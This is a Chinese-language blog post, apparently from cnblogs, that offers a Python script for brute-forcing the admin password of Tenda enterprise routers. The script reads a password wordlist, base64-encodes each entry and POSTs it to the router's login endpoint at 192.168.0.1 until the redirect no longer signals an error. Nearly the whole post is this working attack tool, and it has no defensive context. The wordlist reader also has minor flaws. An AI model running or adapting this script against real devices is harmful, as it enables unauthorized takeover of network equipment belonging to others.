zoukankan      html  css  js  c++  java
  • 暴力破解Tenda企业路由

    # -*- coding: utf-8 -*-
    import hashlib
    import io
    import sys
    import os
    import requests
    import urllib
    import base64
    
    
    
    
    def Dict_Data():
        f = open('data/dict.txt', 'r+')
        data = []
        line = f.readline()
        while line:
            line = f.readline()
            if "
    " in line:
                line = line.replace('
    ','')
                data.append(line)
            else:
                data.append(line)
        f.close()
        return data
    
    def Head_data():
        head = {
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "zh,zh-CN;q=0.9",
            "Cache-Control": "max-age=0",
            "Connection": "keep-alive",
            "Content-Length": "35",
            "Content-Type": "application/x-www-form-urlencoded",
            "Host": "192.168.0.1",
            "Origin": "http://192.168.0.1",
            "Referer": "http://192.168.0.1/login.asp",
            "Upgrade-Insecure-Requests": "1",
            "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
        }
        return head
    
    
    def PassWord_data():
        passdata = Dict_Data()
        temp = []
        num = int(len(passdata))
        for x in range(0,num):
            te = base64.b64encode(passdata[x].encode("utf-8"))
            temp.append(str(te,'utf-8'))
        return temp
    
    
    
    
    def Main():
        url = "http://192.168.0.1/login/Auth"
        passdata = PassWord_data()
        head = Head_data()
        pwd = ""
        num = int(len(passdata))
        print(num)
        for x in range(0,num):
            Post_Password_Data = {
                "password":passdata[x]
            }
            try:
                resp = requests.post(url,Post_Password_Data,headers=head)
                status = resp.url
                if "pwdError" in status:
                    print("第",str(x),"次尝试,失败,尝试的密码是:",str(base64.b64decode(str(passdata[x])),'utf-8'),"-----------状态码:",resp.status_code)
                else:
                    print("第",str(x),"次尝试,成功!!")
                    print("")
                    passw = base64.b64decode(passdata[x])
                    pwd = passw
                    print("密码是",str(passw))
                    print("")
                    break
            except:
                print("错误 ","第",str(x),"次尝试出错","错误类型:其他错误 代码:",resp.status_code,resp.headers)
                break
        if pwd == "":
            print("破解完毕,未找到密码")
        else:
            print("破解完毕,密码是",str(pwd))
    
    
    
    if __name__=="__main__":
        Main()
        # PassWord_data()
  • 相关阅读:
    Classview配置与访问
    MongoDB(NoSQL) 非关系型数据库
    服务器出现500错误的时候,让PHP显示错误信息
    Linux_目录介绍
    各类ip地址范围和私有地址范围
    Raid_磁盘冗余阵列
    Python_文件操作_读
    Git操作命令
    记录关于校园网登录不了腾讯的软件得问题解决
    关于科研方面分享的一些经验
  • 原文地址:https://www.cnblogs.com/chk141/p/12220282.html
Copyright © 2011-2022 走看看